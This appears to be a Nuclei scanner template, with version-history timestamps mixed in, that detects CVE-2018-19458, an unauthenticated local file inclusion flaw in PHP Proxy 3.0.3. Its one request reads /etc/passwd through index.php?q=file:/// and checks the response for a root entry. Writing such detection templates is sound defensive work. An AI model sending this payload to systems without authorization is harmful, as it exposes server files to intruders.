2021-08-02 23:20:58 +00:00
id : CVE-2018-19458
info :
name : PHP Proxy 3.0.3 - Local File Inclusion
author : daffainfo
severity : high
description : In PHP Proxy 3.0.3, any user can read files from the server without authentication due to an index.php?q=file:/// LFI URI, a different vulnerability than CVE-2018-19246.
2021-08-19 13:59:12 +00:00
reference :
2021-08-02 23:20:58 +00:00
- https://www.exploit-db.com/exploits/45780
- https://www.cvedetails.com/cve/CVE-2018-19458
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-19458
cwe-id : CWE-287
2022-04-22 10:38:41 +00:00
tags : cve,cve2018,lfi,proxy
2021-08-02 23:20:58 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/index.php?q=file:///etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-08-02 23:20:58 +00:00
- type : status
status :
- 200